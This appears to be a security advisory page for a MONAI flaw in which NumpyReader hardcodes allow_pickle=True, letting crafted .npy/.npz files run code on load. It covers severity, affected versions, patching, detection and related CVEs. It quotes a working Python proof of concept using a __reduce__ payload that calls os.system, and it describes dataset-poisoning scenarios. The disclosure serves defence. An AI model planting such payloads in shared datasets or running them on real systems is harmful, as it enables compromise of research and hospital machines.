MONAI's NumpyReader hardcodes numpy's allow_pickle=True when loading .npy/.npz files and explicitly blocks callers from overriding it, so any file with a .npy or .npz extension routed through the standard LoadImage transform, PersistentDataset, CacheDataset, or SmartCacheDataset triggers full pickle deserialization and arbitrary code execution on load. This isn't a theoretical deserialization bug — the vendor advisory ships a working PoC using __reduce__ to run os.system, and the flaw sits in the default, unconfigurable code path of a library with 117 downstream dependents, meaning most consumers can't opt out without patching. There's no CISA KEV listing, EPSS score, or public exploit tooling yet, so this looks pre-exploitation rather than actively weaponized, but the attack surface — shared medical imaging datasets, HuggingFace repos, and MONAI tutorials/bundles — is exactly the kind of low-friction distribution channel that makes dataset-poisoning attacks practical in research and hospital environments handling PHI. Upgrade to MONAI 1.6.0 immediately, treat any .npy/.npz file from outside your own trust boundary as executable code until then, and audit data pipelines for third-party datasets ingested via LoadImage or the affected Dataset classes.
What is the risk?
High severity (CVSS 7.8, AV:L/AC:L/PR:N/UI:R) with a low complexity, low privilege exploitation path — the only barrier is user interaction (a researcher or pipeline loading a file), which is trivially satisfied in normal MONAI usage since .npy/.npz is a standard, expected input format. No public exploit code or scanner template exists beyond the vendor's own PoC, and it is not in CISA KEV, so near-term mass exploitation is unlikely, but the bug requires no novel research to weaponize (a five-line __reduce__ payload suffices) and the blast radius is large given 117 downstream dependents and MONAI's default selection of NumpyReader for any .npy/.npz extension. The absence of an override option for allow_pickle elevates this above a typical misconfiguration risk — affected users cannot mitigate via configuration and must patch.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| MONAI | pip | < 1.6.0 | 1.6.0 |
Do you use MONAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 stepUpgrade to MONAI 1.6.0 or later, which fixes the hardcoded allow_pickle=True in NumpyReader (PR #8875). If immediate upgrade isn't feasible, do not load .npy/.npz files from untrusted or externally-sourced datasets through MONAI's LoadImage transform or affected Dataset classes — pre-validate file provenance or convert to a non-pickle format (e.g., NIfTI, plain arrays saved with allow_pickle=False) before ingestion. For detection, scan existing dataset directories and MONAI bundles for .npy/.npz files containing pickle opcodes (tools like Fickling or picklescan can flag suspicious pickle payloads) and audit any pipeline that pulls data from shared filesystems, HuggingFace, or public research repositories. Treat any MONAI bundle or tutorial downloaded from an untrusted source as executable code until scanned.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-wg9g-w2j2-8pgr?
MONAI's NumpyReader hardcodes numpy's allow_pickle=True when loading .npy/.npz files and explicitly blocks callers from overriding it, so any file with a .npy or .npz extension routed through the standard LoadImage transform, PersistentDataset, CacheDataset, or SmartCacheDataset triggers full pickle deserialization and arbitrary code execution on load. This isn't a theoretical deserialization bug — the vendor advisory ships a working PoC using __reduce__ to run os.system, and the flaw sits in the default, unconfigurable code path of a library with 117 downstream dependents, meaning most consumers can't opt out without patching. There's no CISA KEV listing, EPSS score, or public exploit tooling yet, so this looks pre-exploitation rather than actively weaponized, but the attack surface — shared medical imaging datasets, HuggingFace repos, and MONAI tutorials/bundles — is exactly the kind of low-friction distribution channel that makes dataset-poisoning attacks practical in research and hospital environments handling PHI. Upgrade to MONAI 1.6.0 immediately, treat any .npy/.npz file from outside your own trust boundary as executable code until then, and audit data pipelines for third-party datasets ingested via LoadImage or the affected Dataset classes.
Is GHSA-wg9g-w2j2-8pgr actively exploited?
No confirmed active exploitation of GHSA-wg9g-w2j2-8pgr has been reported, but organizations should still patch proactively.
How to fix GHSA-wg9g-w2j2-8pgr?
Upgrade to MONAI 1.6.0 or later, which fixes the hardcoded allow_pickle=True in NumpyReader (PR #8875). If immediate upgrade isn't feasible, do not load .npy/.npz files from untrusted or externally-sourced datasets through MONAI's LoadImage transform or affected Dataset classes — pre-validate file provenance or convert to a non-pickle format (e.g., NIfTI, plain arrays saved with allow_pickle=False) before ingestion. For detection, scan existing dataset directories and MONAI bundles for .npy/.npz files containing pickle opcodes (tools like Fickling or picklescan can flag suspicious pickle payloads) and audit any pipeline that pulls data from shared filesystems, HuggingFace, or public research repositories. Treat any MONAI bundle or tutorial downloaded from an untrusted source as executable code until scanned.
What systems are affected by GHSA-wg9g-w2j2-8pgr?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, data preprocessing pipelines, medical imaging inference pipelines.
What is the CVSS score for GHSA-wg9g-w2j2-8pgr?
GHSA-wg9g-w2j2-8pgr has a CVSS v3.1 base score of 7.8 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.002DataAML.T0011User ExecutionAML.T0011.000Unsafe AI ArtifactsAML.T0018.002Embed MalwareCompliance Controls Affected
What are the technical details?
Original Advisory
### Summary The `NumpyReader` class in `monai/data/image_reader.py` unconditionally uses `np.load(name, allow_pickle=True)` (line 1276), enabling arbitrary code execution when loading a crafted `.npy` or `.npz` file. This affects all MONAI versions up to and including the latest commit (5b71547). The `allow_pickle` parameter is hardcoded to `True` and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except `allow_pickle`"). ### Details **Vulnerable code** ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/image_reader.py#L1276)): ```python # monai/data/image_reader.py, line 1276, in NumpyReader.read() img = np.load(name, allow_pickle=True, **kwargs_) ``` The `NumpyReader` is automatically selected by MONAI's `LoadImage` transform for any file with `.npy` or `.npz` extension (see `monai/transforms/io/array.py` line 68: `"numpyreader": NumpyReader`). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable. The `allow_pickle=True` parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the `__reduce__` method. **Compare with safe practices in the same project:** The MONAI project has already addressed similar deserialization issues in other code paths: - `torch.load` calls now use `weights_only=True` (after GHSA-6vm5-6jv9-rjpj) - `PersistentDataset` defaults to `weights_only=True` (line 272-275 of dataset.py) However, `NumpyReader` was not included in these security improvements. Additionally, the `NPZDataset` class in the same project correctly uses the default `allow_pickle=False` ([permalink](https://github.com/Project-MONAI/MONAI/blob/5b71547/monai/data/dataset.py#L1433)): ```python # monai/data/dataset.py, line 1433 — safe usage dat = np.load(npzfile) # allow_pickle defaults to False ``` This inconsistency shows that `NumpyReader` was overlooked during security hardening. **The user cannot override this behavior:** ```python # monai/data/image_reader.py, line 1233 (docstring) # kwargs: additional args for `numpy.load` API except `allow_pickle`. ``` The hardcoded `allow_pickle=True` on line 1276 overrides any user attempt to set it via kwargs. **Data flow:** 1. User creates a data pipeline with `LoadImage` transform or uses any MONAI dataset class 2. A `.npy` or `.npz` file is provided as input (e.g., as part of a shared medical dataset) 3. `LoadImage` selects `NumpyReader` based on file extension 4. `NumpyReader.read()` calls `np.load(name, allow_pickle=True)` 5. Malicious pickle payload in the `.npy` file executes arbitrary code ### PoC ```python #!/usr/bin/env python3 """PoC: RCE via NumpyReader allow_pickle=True in MONAI""" import os import tempfile import numpy as np class MaliciousPayload: def __reduce__(self): return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',)) tmpdir = tempfile.mkdtemp(prefix="monai_poc_") malicious_npy = os.path.join(tmpdir, "malicious_mask.npy") np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True) # With MONAI installed: from monai.data.image_reader import NumpyReader reader = NumpyReader() data = reader.read(malicious_npy) # Verify RCE proof = "/tmp/monai_rce_proof.txt" if os.path.exists(proof): print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}") os.remove(proof) os.remove(malicious_npy) os.rmdir(tmpdir) ``` **Output:** ``` [!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed ``` ### Impact An attacker can achieve arbitrary code execution on any machine running MONAI by: 1. **Dataset poisoning**: Placing a malicious `.npy` file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes. 2. **Supply chain attack**: Contributing a malicious `.npy` file to a MONAI tutorial, example, or bundle that other users download and run. 3. **Lateral movement in medical environments**: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server. This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).
Exploitation Scenario
A malicious actor crafts a .npy file embedding a pickle payload with a __reduce__ method that executes an OS command, then uploads it to a public medical imaging dataset repository, HuggingFace dataset, or contributes it as a sample file to a MONAI tutorial or community bundle. A researcher or clinical engineer downloads the dataset and builds a standard MONAI pipeline using LoadImage or PersistentDataset; MONAI automatically selects NumpyReader based on the .npy extension and calls np.load with allow_pickle=True, silently executing the attacker's code the moment the file is loaded — no explicit deserialization step or warning is shown. In a hospital or multi-institution research environment where the same shared filesystem or dataset feeds multiple processing servers, this provides an initial foothold for lateral movement toward systems handling protected health information.
Weaknesses (CWE)
CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
- [Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- [Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-487059.3MONAI: NaN/inf DICOM input causes DoS and corrupt inference
Same package: monaiCVE-2025-587558.8MONAI: path traversal allows arbitrary file write
Same package: monaiCVE-2025-587568.8MONAI: unsafe deserialization in CheckpointLoader allows RCE
Same package: monaiCVE-2025-587578.8MONAI: unsafe pickle deserialization RCE in data pipeline
Same package: monaiCVE-2026-1008428.8MONAI: eval sandbox bypass allows code execution
Same package: monai